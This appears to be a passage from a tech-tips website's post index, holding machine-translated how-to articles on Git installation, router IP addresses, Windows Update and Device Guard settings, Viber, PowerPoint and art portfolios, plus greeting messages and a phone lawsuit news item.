enter the promotional code if you have the code or leave a message for the driver in the Options section. Finally, click on Confirm to FastGo to find your car is complete, wait a moment will have FastGo driver contact you.\n  Above is how to call a car with FastGo application, you can choose to replace the car call service, previous car booking makes you feel uncomfortable and inappropriate. Hopefully, booking online via this phone will be a solution to help you move more conveniently and economically.\nSee more:\nHow to call GrabTaxi online Some experience when using technology car calling services List of phone numbers of taxi firms in Hanoi ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaan6S4qrrGZphmm5Gnera%2FyKeeZqyYmnqnrdKtnqhlkaW9rbXCmquip54%3D\n","link":"/post/instructions-for-booking-a-car-using-the-fastgo-application/","section":"post","tags":null,"title":"Instructions for booking a car using the FastGo application"},{"body":"In this article I will guide you to install Git (one of the most popular Source Version Control today) on Windows 10. Ok, now let's get started!\nHow to install GIT on Windows 10 Step 1: First, visit GIT's download page to download the installation file here.\nNote: The website can automatically determine 32bit or 64bit Windows operating system when you click the download button.\n  Step 2: After downloading the downloaded file, double-click the file to begin the installation. Click Next to continue.\n  Step 3:\n(1) This is the step to choose the installation location, the default is C: Program FilesGit. You can change it by clicking the Browse button next to it and choosing a different installation location. (2) After installation, g applications occupy 260MB of hard drive space. =\u0026gt; After selecting the installation location, click Next to continue.\n  Step 4: These are the components that will be installed by default. If you add any additional components, the post-installation capacity will increase compared to the default 260MB =\u0026gt; Click Next to continue.   In this step you leave the default and click Next to continue.\n  Step 5: This step you choose a default editor for Git. I recommend that if you have Notepad ++ installed, click on the arrow to select Notepad ++ as Git's default editor.\n  This step you choose by default =\u0026gt; then click Next to continue.\n  Step 6: The next step is to customize the environment variable. You choose item 2 because it is Recommended (recommended / recommended) =\u0026gt; Then click Next to continue.\n  Step 7: Continue to select the first item (Use the OpenSSL library) and click Next to continue.\n  Step 8: If you do use Linux, when you init Git on Linux, if you go to Windows clone the project and do not check at this step, you will get an error. So you tick here and then click Next to continue.\n  Step 9: In this step, you will configure which terminal to choose for Git Bash. You can choose MinTTY (Default), or choose the default Windows terminal.\n  The default configuration is when you run the git pull command to synchronize the code from the Remote Repository to the Local Repository.\n  Step 10: This step, you just choose by default and continue.\n  Continue, choose by default and click Next.\n  Step 10: This step you should not check because this function is new and there are some errors. Click Install to begin the installation.\n  Installation takes about 1 minute or less. After installation, click Finish to finish the installation.\n  Step 11: To check if you have successfully installed it, you can open Git Bash and try a Remote Repository from Github to your computer.\n  So in this article I have very detailed instructions with you how to install and configure basic Git on Windows 10 operating system already.\nThe use of Git / Github (Github is a source code repository) is a lot during the teamwork process. So I encourage you to learn and use proficiently these tools.\nHopefully this article will be useful to you. See you in the next articles about dental programming.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZeewW6tzZ1knKeem7aowdGipaBll57BbrvNZq6ippSkxLR5kGk%3D\n","link":"/post/instructions-for-installing-git-and-configuring-git-on-windows-10/","section":"post","tags":null,"title":"Instructions for installing GIT and configuring GIT on Windows 10"},{"body":"Coming soon to honor Vietnamese women - October 20, on this occasion, please send good wishes for October 20 to women as the most meaningful spiritual gift. Certainly with this good and October 20 wishes, half of the world will be extremely touched and happy.\n  1. Wish you a meaningful 20/10 day, joyful and full of happiness. Wish you always smile, smile, shy smile, youthful smile, full of laughs today.\n2. Wish your Vietnamese girlfriend from today will be more beautiful than before and stay beautiful and restless.\n3. Wish you receive many gifts, lots of flowers, many compliments and wishes of men today. Wish you have more luck, much happier joy, more wonderful things in life.\n  4. I always think of you every day, every hour. I wish my love is always beautiful, try to learn well and love you more, honey. We wish the Vietnamese daughter happy and happy on October 20 with her loved one.\n5. October 20 wish the world half success in life! Wish you are always charming and beautiful in the eyes of the other half of the world.\n6. October 20 is always a very special day for me and especially for you. Therefore, I have a day of love for you. I wish you full of sweet happiness and keep and nurture our love. I hope that the most recent day of October 20, I told you that I wish your wife all the good things.\n  7. Darling, today is a Vietnamese women's day - a day dedicated to expressing gratitude and concern for women. I want to send you my whole mind and heart, to give me all my heart, send me all your noble and most sacred things.\n8. Wishing you a much more fun and happy day than other days. Being with you 365 days a year are all sweet days for you. Forever love you.\n9. I have enough qualities to rise to the top. Please take the blue sky as your limit. Wishing you a very Happy Vietnamese Women's Day.\n10. By October 20, I didn't know how sweet it was to text me but I knew my love for him was a lot. I promise you that I will forever love you all my life, no matter how many waves I will always be there to protect you.\n  Don't forget the warm dinner with the woman you love and give the best 20/10 wishes\n11. Live as yourself, love what you have, know what you don't have, what you don't have is a half like me, what you don't have is a half of you, though why do you wish me a day of happy and beautiful women like you still think about me.\n12. Wishing you a day, as well as 365 days of the year, are always happy, happy and loving your husband and your children\n13. A day full of roses for girls! I wish you all very fresh, healthy, always lovely, lovely in the sunshine and always successful, even more successful. Wish a special person always beautiful and happy.\n  \n14. I kept watching the flowers\nI kept singing and singing\nI'll take care of the dishes\nHe will take care of sweeping the house\nI'll take care of the laundry\nWould you like to drink\nNear market or far away market\nHe was out before\nYou know my favourite dish\nI just have to wait and see\nI rubbed cream rouge\nHe picked vegetables and wash the rice\nI leisurely read the newspaper\nHe made his hands stir-fry\nYou can do it yourself\nDon't worry about me\nKids slip dresses only\nGive me a stitch\nHe bought a bunch\nSadly, I kept tasting\nMy girlfriend came\nJust talk to carefree\nI took a bath for the guy\nThen he lulled it to sleep\nScreen cover player\nListen to me shout \"come in\"\nOne day, baby\n24 hours\nHappy Vietnamese Women's Day!\nncG1vNJzZmismaXArq3KnmWcp51kuqatzaKloJ6loXpzfJBpZLCho52ytHnFqKlmr5%2Bisq9506hknJ2cmq%2BzrdOeZK%2Bhlam7ornErJxmr5%2Bisq%2B%2FjJ2Ysg%3D%3D\n","link":"/post/meaningful-20-10-wishes-for-women-to-celebrate-vietnamese-women-s-day/","section":"post","tags":null,"title":"Meaningful 20/10 wishes for women to celebrate Vietnamese Women's Day"},{"body":"TipsMake.com - The article will guide users to eliminate spam or advertising notifications on the Nortification window of the Android device.\nSome Android applications using ad services (Ad Service) can transform your phone or tablet in ways that you don't want. These services will continuously send newsletters (advertisements) to the Notification Bar. Some applications add a shortcut icon to the home screen without notifying the user. Other applications can change the default browser homepage, collect location data, phone information, etc. Find out which applications are using these services so you can delete them, or At least understand them.\nAs shown below, you can see that there are some messages that are not related to the system even though they are designed so.\n  When we pull down the notification bar, a series of announcements is actually just ads. Some ads may not be suitable for young children. They can also be disguised with descriptions that make them appear legitimate while not entirely.\n  Clicking on these fake messages may lead to a website, prompting users to install an application from Google Play or perform other actions.\n  In addition, these applications can add shortcut icons to the home screen like real system applications (search, App Store .).\n  Some applications may bookmark the user's browser without notifying you, or change the default homepage.\n  Now let's find out which applications are responsible for these advertisements / spams. On your Android device, launch Google Play and look up the app called Lookout Ad Network Detector. After installing, launch the application.\n  Click the START SCAN button.\n  Ad Network Detector will scan applications installed on the Android device. Scan time depends on the number of applications installed on the device.\n  After the scan is complete, a list of results will appear. The results are classified according to the impact on the device. For example, in the picture below, you will see that there are 3 applications that can display ads in the notification bar, 2 applications can change the browser homepage or bookmark .\n  Click the arrow next to one of the categories. From the submenu, we will see a list of different ad networks and how many applications are using that service.\n  From here, you will see a large screen that gives you all the information you need to decide what to do next. The first categories are listed as 'culprit' applications, displaying ads in the notification bar. Behavior explains exactly what these applications do. The Privacy section explains which ad networks are collecting data.\n  Now, we know which application is responsible for annoying ads in the notification bar. Users can remove these applications. For example, in the article, two Love Tester and Idiot Test applications are two applications that cause spam. We will remove the Ad Network Detector application directly by clicking on the jagged icon next to the application name.\n  The application removal screen appears.\n  Repeat this step until you have removed all applications.\nIn this way, you will be freed from annoying ads or spam on Android devices. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kv6a5zq%2BcZpmUqHq0vMCmZKKmXam1pnnAp5urp5mZeqWx1aKanqtdo7y1tcWimpqsmaS7bq7Aqw%3D%3D\n","link":"/post/remove-ads-spam-in-the-android-device-s-notification-bar/","section":"post","tags":null,"title":"Remove ads, spam in the Android device's notification bar"},{"body":"192.168.1.2 is a private, default IP address for some types of home broadband routing. It is also often assigned to individual devices on a home network when a router has an IP address of 192.168.1.1. As a Private IP address, 192.168.1.2 does not need to be unique across the Internet, but must be unique within the local network.\nAlthough this IP address is set by the manufacturer by default for some routers, any router or computer on the local network can be set to use 192.168.1.2.\nHow the private IP address works No special meaning or value for individual IP addresses - they are simply designated as \"private\" by Internet Assigned Numbers Authority (IANA), a global organization that manages IP addresses. Private IP addresses are only used on private networks and cannot be accessed from the internet, but are only accessible from devices on the private network. This is why modems and routers can work easily using the same default private IP address. To access the router from the Internet, you must use the router's public IP address.\nThe range of addresses reserved for use by IANA on private networks is within 10.0.xx, 172.16.xx and 192.168.xx\n   Use 192.168.1.2 to connect to a router If the router is using 192.168.1.2 address on the local network, you can log in to the administrative control panel by entering its IP address into the web browser's URL address bar:\nhttp://192.168.1.2/\nThe router will then prompt for an administrator username and password. All routers are configured with the manufacturer's default username and password. The most common default username is \" Admin \", \" 1234 \" or no username. Similarly, the most common passwords are \" admin \", \" 1234 \" or nothing, similar to the username. The default username / password is usually recorded at the back of the router.\nIt is usually not necessary to access the router's administration interface, but it may be useful if you have trouble connecting.\n   Why is 192.168.1.2 so popular? Manufacturers of routers and access points must use IP addresses in private. Initially, manufacturers of broadband routers like Linksys and Netgear chose the default 192.168.1.x. Although this particular scope started technically at 192.168.0.0, most people often think that a sequence of numbers will start from 1 instead of 0, so 192.168.1.1 is the most reasonable choice for the beginning of a range of home network addresses.\nWith this router assigned to the first address, it will assign the address to each device on the network. Therefore, IP 192.168.1.2 becomes the most popular starting point.\nNetwork-connected devices do not achieve higher performance or better security from IP addresses, whether it is 192.168.1.2, 192.168.1.3 or any other private address.\nAssign 192.168.1.2 to a device Most networks specify a private IP address automatically using DHCP. This means that the device's IP address can be changed or reassigned to another device. Try to assign this address manually (a process called \"fixed\" or \"static\" address assignment) can also proceed but may result in a connection problem if the network router is not set. corresponding configuration.\nHere's how the IP allocation works:\nEach local router uses DHCP configured with a range of private addresses that it can allocate to clients. On the home router, the default address is 192.168.1.1, the default address of the guest address ranges from 192.168.1.2 to 192.168.1.254. Most routers will assign IP addresses to network devices starting at the beginning of this range, so you rarely see the IP address on your network outside of the scope mentioned above. A router generally will not check if 192.168.1.2 (or any other address in this range) has been manually assigned to a client before automatically assigning it to a client. This can cause IP address conflicts in which two devices on the same local network try to use the same IP address. IP address conflicts will interrupt the network communication of both devices. For these reasons, you should allow your router to control the assignment of IP addresses in the home network. See more:\nWhy is Localhost's IP address 127.0.0.1? Here's how to check if your IP address is static or dynamic How to find the IP address of another computer on the LAN ncG1vNJzZmismaXArq3KnmWcp51kfnp%2BkG9vampdmLyuuc6nZKunpamys3nIqWSanJSnsrS%2F\n","link":"/post/192-168-1-2-common-router-ip-address/","section":"post","tags":null,"title":"192.168.1.2: Common router IP address"},{"body":"Although the iPhone XR is arguably one of Apple's most successful phones, sales of the smartphone far outweigh many of its competitors in the market, or even its own siblings. However, recently, Apple is facing a class action lawsuit from users, accusing the company of deliberately concealing the poor connection of iPhone XR.\n Specifically, according to reports from Apple Insider, iPhone XR is only equipped with mobile wave capturing technology and 4G technology with half the performance compared to the two brothers iPhone XS and XS Max. While Apple integrates up to 4x MIMO antennas (4 data transmitting antennas and 4 data receiving antennas) for the iPhone XS and XS Max duo, the iPhone XR only has 2 x 2 analog MIMO antennas, for real-time performance and data transfer rates reduced to half.\nThis antenna design structure also makes many users encounter a series of network problems in countries such as the US, UK, . A long list of plaintiffs involved in this class action lawsuit. has confirmed its iPhone XR has problems receiving the signal from the network and that Apple has deliberately \"concealed\" this flaw of the iPhone XR, claiming the company to compensate for damage and costs affecting. to 5 million USD.\n The lawsuit sounds silly because the iPhone XR is just an iPhone version that cuts the hardware configuration of the iPhone XS and XS Max, so users cannot sue Apple just because of the cuts. The hardware on the cheaper version is. However, whether Apple really \"covers\" this flaw or not, we still have to wait for a representative from Apple to respond.\nOf course, this is not the first time Apple has encountered troublesome lawsuits like this. If you've been following tech news for a long time, you've probably heard of the Apple lawsuit deliberately slowing down the iPhone, which has become one of the biggest historical cases Apple has suffered.\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55koZmjYq%2Bmsc1mqq6dlGKwsLjLnpqtoaaaubp5wZ6amq2jmnq1tMRmoKmgn6OybsTRZp%2Baq12lvLC%2BjKucnJ2gqbawug%3D%3D\n","link":"/post/apple-has-been-sued-collectively-because-the-iphone-xr-has-poor-reception/","section":"post","tags":null,"title":"Apple has been sued collectively because the iPhone XR has poor reception"},{"body":"And after restarting, the Windows Update installation history page shows the following error in that particular update (s):\nLast failed install attempt on [date] – 0x80070BC2  The Windows Update installation history page shows the following error in the specific update (s)\nAnd the Windows Event log (Windows Event) records this error, referring to the KB number:\nInstallation Failure: Windows failed to install the following update with error 0x80070BC2 For example:\n0x80070BC2: 2018-01 Cumulative Update for Windows 10 Version 1709 for x64-based Systems (KB4056892) What does error 0x80070BC2 mean? Error code '0x80070BC2' indicates that an error occurred while installing new cumulative updates in Windows 10. This may be related to the following updates:\nKB4056892 KB4074588 KB4088776 KB4093112 The cause of the problem usually cannot be resolved by clicking the \"Repeat\" button displayed by Windows, and they can occur for many reasons.\nFor example, error 0x80070bc2 could be caused by Update Service or Windows in general is not working properly. Additionally, the error might occur because a corresponding update has been installed. In some cases, third-party vendor security software may result in an unsuccessful update process.\nHow to fix Windows Update error 0x80070BC2? Step 1. First of all, launch Command Prompt (Admin).\nStep 2. Then just enter the following commands, press Enter after each one:\nSC config wuauserv start= auto SC config bits start= auto SC config cryptsvc start= auto SC config trustedinstaller start= auto By far, one of the most common errors affecting Windows 10 updates is error 0x80070BC2. Apply the steps above, and then restart your PC before reinstalling the latest updates.\nThis time, the entire process should work without any issues. Error 0x80070bc2 will no longer occur.\nOf course, if you still can't enjoy the latest cumulative updates, you can always download the standalone update package from Microsoft's Update Catalog website.\nOften times, the update error is related to a corrupt user profile, so you should also try creating a new admin account.\nOnce you've logged into your new profile, perform a clean boot, then check for updates. Are things better now?\nGood luck !\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjLCgp5yfrMBuwc%2BdmK2dXZq%2Fs7vRZmexcGBlhHGuwmtkqKZdrLavsM6wqmZpYA%3D%3D\n","link":"/post/fix-windows-update-error-0x80070bc2-on-windows-10/","section":"post","tags":null,"title":"Fix Windows Update error 0x80070BC2 on Windows 10"},{"body":"Create GIF images on Viber is a new feature for the Viber version on your phone, helps you create animations directly from any video you want, or you can immediately use the videos available on your phone to make animations on. Viber. Animations created on Viber have many other options for you to customize animations, such as adding stickers, adding text . So in addition to using the stock GIF images on Viber, users can now create GIFs by themselves. my reviews. The following article will guide you how to create gif images on Viber.\nInstructions for creating animations on Viber Step 1:\nAt the message interface we click the camera icon to send video or multimedia files, then you drag to the GIF section to create animations on Viber. Next, record your video as usual by clicking the red button in the middle of the screen.\n  Step 2:\nThe following video will show a customized interface. First of all, you can change the length of the video you just shot, by adjusting the first 2 points at the beginning and the end of the blue horizontal bar. Next we can adjust the speed for gif images faster with the initial speed at the icon \u0026gt;\u0026gt; . There will be many other levels of different speed increases.\nNext, you can reverse the video recording backward, forward or both by clicking the arrow icon .\n  Step 3:\nThen you add text , sticker to the animation and click the send icon as usual.\nFinally we wait for the animation to be sent.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYygoJ9lmaKuqLHSZqanZaaer6a%2B\n","link":"/post/how-to-create-gif-images-on-viber/","section":"post","tags":null,"title":"How to create GIF images on Viber"},{"body":"This article shows you how to insert a Youtube video into a Powerpoint presentation.\nYou can use the image of the TV to decorate your video more vividly:\n  To insert videos on Youtbe, follow these steps:\nStep 1: Select the Slide you want to insert the video -\u0026gt; into the Insert tab -\u0026gt; Media -\u0026gt; Video -\u0026gt; Online Video .\n  Step 2: The Insert video dialog box appears, enter a search term for the video you need to insert -\u0026gt; press Enter:\n  Step 3: Video search results display -\u0026gt; select videos to insert -\u0026gt; Insert:\n  Step 4: After clicking Insert video on youtube to be inserted into the slide:\n  Step 5: All you need to do is adjust the size of the video to fit the TV screen:\n  Finally press F5 to slide the newly created Slide -\u0026gt; results:\n  Click the Play button to play the video you just inserted on Youtube:\n  The above is a detailed guide on how to insert a Youtube video into a Powerpoint presentation. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2dl7KlecBmsKitpKqvpnnVopuep12eu26tjKmmsJ2ipbyqutNmp6udo5q7ta3Toqan\n","link":"/post/how-to-embed-a-youtube-video-in-a-powerpoint-presentation/","section":"post","tags":null,"title":"How to embed a Youtube video in a Powerpoint presentation"},{"body":"Device Guard is a combination of enterprise-related software and hardware security features, when configured together, locks the device to run only trusted applications that you specify in the code integrity policy. . If the application is not trusted, it will not be able to run. With hardware that meets the basic requirements, that means that even if an attacker can gain control of the Windows kernel, they cannot run malicious executable code. With the right hardware, Device Guard can use the new virtualization-based security in Windows 10 to isolate the Code Integrity service from Microsoft Windows. In this case, the Code Integrity service runs in the same folder as the Windows virtualized protected container.\nThis tutorial will show you how to enable or disable security based on Device Guard virtualization on Windows 10 Enterprise and Windows 10 Education PCs.\nYou must log on as an administrator to enable or disable Device Guard.\nHow to open Windows Security in Windows 10 How to turn on Tamper Protection for Windows Security on Windows 10 Enhance Windows 10 security with Exploit Protection How to enable or disable Device Guard Step 1 . Open the Windows Features.\nIn Windows 10 Enterprise / Education version 1607 or later, select Hyper-V Hypervisor in Hyper-V and click OK .\n  In Windows 10 Enterprise / Education versions before version 1607, select Hyper-V Hypervisor in Hyper-V, select Isolated User Mode and click OK .\n  Step 2 . Open Local Group Policy Editor.\nStep 3 . Navigate to the following key in the left pane of Local Group Policy Editor.\nComputer ConfigurationAdministrative TemplatesSystemDevice Guard    Step 4 . In the right pane of Device Guard in the Local Group Policy Editor, double-click the Turn On Virtualization Based Security policy to edit it.\nStep 5 . Follow Step 6 (turn on) or Step 7 (off).\nStep 6 . To activate Device Guard\nSelect Enabled . In Options, select Secure Boot or Secure Boot and DMA Protection in the Select Platform Security Level drop-down menu. Note: The Secure Boot (recommended) option provides secure boot with multiple protections supported by specific computer hardware. A computer with an input / output memory manager (IOMMUs) will have a safe boot with DMA protection. A computer without IOMMUs will only activate secure boot.\nSecure Boot with DMA will enable secure booting and VBS only on computers that support DMA, ie computers with IOMMUs. With this setting, any computer without IOMMU will not have VBS protection (hardware-based), although it can enable code integrity policies.\nIn Options, select Enabled with UEFI lock or Enabled without lock in the Virtualization Based Protection drop-down menu of Code Integrity. Note: Enabled with UEFI lock option ensures Virtualization Based Protection of Code Integrity is not disabled remotely. To disable this feature, you need to set up Group Policy Disabled as well as delete the security for each computer with the current user to delete the configuration on UEFI.\nOption Enabled without lock for Virtualization Based Protection of Code Integrity is remotely disabled using Group Policy.\nIf you wish, you can also activate Credential Guard by selecting Enabled with UEFI lock or Enabled without lock in the drop-down menu Credential Guard Configuration. Note: Enabled with UEFI lock option ensures Credential Guard is not disabled remotely. To turn off this feature, you must set Group Policy to Disabled as well as delete the security function in each computer with the current user to delete the configuration in UEFI.\nEnabled without lock option allows Credential Guard to be turned off remotely using Group Policy. Devices using this installation need to run on the operating system from Windows 10 (Version 1511) or later.\nGo to Step 8. Step 7 . To disable Device Guard\nSelect Not Configured or Disabled , click OK and go to Step 8.\nNote : Not Configured is the default setting.\n  Step 8 . Close Local Group Policy Editor.\nStep 9 . Restart the computer to apply changes.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyoqWacmaiuo7jEZpuerpmYsm6z1JqpnWWfo3q4tc2dprCrXWZ9\n","link":"/post/how-to-enable-or-disable-device-guard-on-windows-10/","section":"post","tags":null,"title":"How to enable or disable Device Guard on Windows 10"},{"body":"The Taskbar on\u0026nbsp; \u0026nbsp;Windows computers is usually transparent or will change color according to the background. But if it turns white then this is a Windows 10 bug\u0026nbsp; . Please see through this article to know how to fix it!\nStep 1 : Right-click on the\u0026nbsp; Taskbar \u0026nbsp;\u0026gt; Select\u0026nbsp; Taskbar Settings .\n ​\nStep 2 : Click the \u0026nbsp;Color tab \u0026nbsp;on the left\u0026gt; Scroll down until you see the line\u0026nbsp; Show accent color on the following surfaces\u0026nbsp; \u0026gt; Click to uncheck the \u0026nbsp;Start, taskbar, and action center .\n  Your\u0026nbsp; Taskbar \u0026nbsp;may turn white automatically because it is suggested from the background image, you can leave this option unchecked. As in the above step, you pull up again and find\u0026nbsp; Choose your accent color \u0026nbsp;\u0026gt; Click to uncheck\u0026nbsp; Automatically pick an accent color from my background .\n  Starting from version\u0026nbsp; 1903 , Windows 10 gives us additional light theme ( Light mode ) will apply to the entire system. And of course your\u0026nbsp; Taskbar \u0026nbsp;also turns white, to change the color back to dark, follow these simple steps.\nStep 1 : Right-click on the\u0026nbsp; Taskbar \u0026nbsp;\u0026gt; Select\u0026nbsp; T askbar Settings .\n  Step 2 : Click the \u0026nbsp;Color\u0026nbsp; tab on the left\u0026gt; Look at \u0026nbsp;Choose your color\u0026nbsp; is\u0026nbsp; Light \u0026nbsp;or not, if so, click and select\u0026nbsp; Dark .\n  If you want only your\u0026nbsp; Taskbar \u0026nbsp;is dark and the rest of Windows is light. Change the \u0026nbsp;Choose your color \u0026nbsp;to\u0026nbsp; Custom\u0026nbsp; and choose \u0026nbsp;as shown .\n  Step 1 : Press Windows key\u0026nbsp; \u0026nbsp;+\u0026nbsp; I \u0026nbsp;to open\u0026nbsp; Settings \u0026nbsp;\u0026gt; Click\u0026nbsp; Time \u0026amp; Language .\n  Step 2 : Select the Region tab\u0026nbsp; \u0026nbsp;on the left\u0026gt; Reselect any area other than the current region, here I will choose the\u0026nbsp; United States .\n  Step 3 : Click the Start button\u0026nbsp; \u0026nbsp;\u0026gt; Click your \u0026nbsp;Avatar \u0026nbsp;\u0026gt;\u0026nbsp; Sign out .\n  Step 4 :\u0026nbsp; Sign in \u0026nbsp;again then repeat\u0026nbsp; step 1 \u0026nbsp;and \u0026nbsp;step 2 , but in\u0026nbsp; step 2 \u0026nbsp;you choose the area you are living.\n  Above is a tutorial on how to fix the white taskbar on Windows 10, thank you for following this article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmrqGhpJp6ta3SpJmaql2av7O70Wamp2Wnnrulu9asZGpo\n","link":"/post/how-to-fix-the-white-taskbar-error-on-windows-10/","section":"post","tags":null,"title":"How to fix the white Taskbar error on Windows 10"},{"body":" Looking to showcase your work to an art gallery, to a university, or for an employer? An art portfolio is a great way to highlight all of your best pieces and show your abilities. A portfolio should speak for itself and combine...\nPart 1of 3:\nCompiling Pieces  Look up the requirements for your portfolio. Every organization is different and so they may require different things within your portfolio or a different format for your portfolio. Your portfolio will also depend greatly on the type of study or career you are interested in pursuing. [1] For example, if you are applying to a film school or animation school, your portfolio will likely be digital and consist mostly of work that you have done within that field. On the other hand, if you are applying to an architecture school or to an art gallery you may have more sketches and drawings. Some institutions suggest only using about 10 to 20 pieces in your portfolio. If you have really strong pieces, fewer is better because the more pieces you have the more likely it is that the quality of the pieces will drop. [2] Always check what the organization expects before you begin piecing together your portfolio. You don't want to waste time creating a portfolio one way, and then have to redo it because it's not in the right format.   Choose finished or unfinished pieces, based on the requirements for your portfolio. Many schools in the United States require that all of your work be finished, but some in other areas such as the United Kingdom want to see your process and development. Check the requirements for your portfolio before you do one or the other. If you are allowed to use unfinished pieces, do so. This reveals your skills, commitment, and depth of knowledge as well as gives context to the creation and thought process behind your work. A piece of art is often more than just the finished product, but greatly depends upon the process and experimentation of the piece.[3] Make sure all pieces, both finished and unfinished, are perfected. Remove any smudges, fingerprints, or defects that have been left on the piece.   Include observational drawings. These pieces prove that you are able to observe something in real life and create your own replica of it on paper. Observational drawings or paintings can make up a substantial part of your portfolio. The purpose of these drawings is to show those looking at your portfolio that you are able to record shape and form, detail, perspective, proportion, and surface qualities. [4] When drawing something from observation, aim for a sense of realism, without creating a rigid, mechanical copy of it. It may help to select a subject that's important to you, because you'll begin to think about the themes and motifs behind the drawings, rather than what's right in front of you.   Highlight your best pieces. If you have been an artist for awhile you likely have an array of pieces, from the best, to really good, to mediocre, to poor. It may be tempting to choose your really good work along with your best work. However, these two need to be separated. You don't want to just showcase your really good work. You want to showcase only your best, the pieces that you are certain without a doubt show quality, ability, artistry, and creativity. Be selective with your work and don't choose pieces just for the sake of variety. It's better to have solid pieces of art that vary less in medium or style than it is to have a lot of different mediums and styles but mediocre art.[5] If it's difficult to be unbiased or edit your own work, ask a friend or two what pieces are your best pieces. It could also be helpful to find a mentor in your own field. Look for someone with artistic talent who has been in your shoes before who can help you make difficult decisions like these. And, the good thing is you know you can trust their judgement because they have experience in artistry as well. Never choose art that is an imitation of someone else's art. Admissions offices and employers have seen thousands of portfolios and will likely be able to recognize if you have created artwork from a photograph or another piece of art. This also reveals your lack of creativity and inability to create art from real life.[6]   Ask a friend to look over your art. After you have picked out a significant body of work, have a friend or mentors look over it, asking them to give feedback on the different pieces you have picked out. Some of your art may need to be redone or improved, so give yourself enough time before the portfolio needs to be submitted to improve your artwork. Build in time after you've chosen your pieces to reflect and come back to those pieces once you've been able to process. It's important to give yourself this time because you will be able to better evaluate your work and will come back to it with less bias. Sometimes friends can be biased towards your work as well, so it may be more beneficial to bring in someone that doesn't have a personal relationship with you. It may be easier to receive constructive criticism from them as well. Learn to take constructive criticism well and know that it's not an insult or derogatory comment, but given so that you can improve as an artist.   Include supplemental articles, publications or awards. Some institutions will not ask for this, so once again, check the requirements for your portfolio. However, this can be helpful to show that your work has been recognized by others and that it has has previous exposure.\n Part 2of 3:\nAssembling the Portfolio  Use other portfolios as examples. The best way to begin a project like a portfolio is to find other successful portfolios online and use those as your guide. This doesn't mean copy the format, or follow the portfolio piece by piece, but it means to use it as a reference as you being making yours. Note how the artist organized his or her pieces. Pay attention to the style and design of the portfolio. Are your eyes drawn more to the design of the portfolio or are you drawn to the art? [7] If it feels intimidating or daunting to look at other portfolios, remember that only the best work is what is displayed. Art is made up of technical skill as well as creativity, so even if your technical skill isn't as advanced as those you see, your creativity can make up for it.   Tailor your portfolio to the institution. A university and an art gallery may have very different ideas about what they would like to see in your portfolio or the design of your portfolio. It's important that as you begin assembling and organizing your portfolio that you keep the audience in mind. For example, if submitting your work to an art gallery, visit the gallery and make sure your work will fit in well in the gallery. Choose pieces, design, and organization of your portfolio that show you are familiar with the gallery and are aware of the art they carry.[8] If applying to a university or job, always look up the requirements for the portfolio, but tailor your portfolio to the type of institution as well. You may be applying to a more prestigious art university that values technique and style, or maybe you are applying to a school that places a higher emphasis and creativity and experimentation. Keep these things in mind as you design and organize your portfolio.   Organize your portfolio. Group pieces by style, subject, media, technique, etc. You want to make it as easy as possible for your reviewer to find the important information, or to determine if you are a good fit for their institution. By organizing your pieces you will give your reviewer an easy path to follow. You want your portfolio to tell a story. Group by medium. It's valuable to use different types of mediums in your portfolio to show you are well rounded and capable of doing different art forms. It can be helpful to group these mediums together so that your portfolio clearly shows your different abilities and how you've used each medium in your art. For example, you might group pastel art together, and then group charcoal drawings and pencil drawings together, and then you might group paintings together. Group by subject. Another way to group your artwork is by subject, which will likely combine different mediums, but will show your ability to accurately depict different things. For example, you may group by figure drawings, drawings of landscape, abstract art, etc. Group by technique. This is similar to grouping by medium, but instead you are focusing on your range of abilities to use not just paper, but digital media, photography, web design, animation, etc. Use a scrapbook or portfolio binder found at any art or craft store to organize and present your artwork.   Keep it simple. As an artist, you may be tempted to have a really extravagant, creative portfolio. While it's great if your pieces are this way, the portfolio that holds and displays your pieces should be professional, organized, and simple. The purpose of this is because you don't want a very busy portfolio to distract your viewer from the artwork. You want the focus to be on your artwork, because that's what you are really trying to showcase. Space out your portfolio. Don't have too many pieces on one page and don't go overboard with the information you include.   Stand out, but don't be overzealous. With an industry that is so competitive, it's important for your work to stand out. You don't want to be grouped in with the hundreds of people who have also submitted their portfolio, so try to create a portfolio that highlights your pieces so well in a creative way that the reviewers can't help but notice. Be careful about overdoing it, though. If your attempts to stand out lead you to creating something corny, or trying to be humorous but failing, you may go unnoticed, or be noticed but in a negative way. The benefit of a portfolio is that you aren't just a name on a piece of paper like a resume. Your work really speaks to who you are and it is easier for an employer to grow attached to the creative impressions in your portfolio than a written set of job skills. Don't overthink your portfolio. Once you have completed it, have a mentor give you feedback, go over it a few times to make sure it is organized well, and clear of any mistakes, and then leave it. By continually trying to edit and improve your portfolio, you run the risk of changing it to \"make it stand out\" that may lead to a decrease in the professionalism of your portfolio.   Create a virtual portfolio. While it's handy to have your portfolio in a hard copy, having a virtual copy of your portfolio will be helpful when submitting your portfolio online, which is likely what you'll have to do for most applications. Photograph or scan your artwork. After you have chosen the pieces for your portfolio, use a good quality camera to take pictures of your art, or ask a professional to take the pictures. Make sure the pictures are clear and high quality so that when viewed online the resolution is good. Choose a setting with excellent lighting and no glare, and never use a flash. When scanning artwork, make sure there are no wrinkles on the page and that it lies flat on the scanner so the picture comes out exactly like the hard copy. Input these pictures into Indesign or another program that allows you to create a clean cut portfolio that is easy to continually edit. This not only provides you with a digital copy to use online, but also serves as a backup in case your hard copy is lost or destroyed.  Part 3of 3:\nPreparing to Show Your Portfolio  Practice presenting your portfolio. If you have the opportunity to show your portfolio in person, it's important to practice going through it, knowing what you will say for each piece and how you can effectively communicate why you think your work stands out and is valuable. Once you've practiced it on your own a few times, present it to a friend or mentor who can give you feedback on your presentation and how you are communicating your art. Once again, your art should speak for itself. When presenting a portfolio you shouldn't have to go in depth on every piece to explain it, it should explain itself for the most part. However, there may be pieces that were inspired by an event in your life or mean something to you. Use those as an opportunity to show your creativity and passion behind your work.   Gain feedback once you have completed your portfolio. Ask a mentor or friend to look over your completed 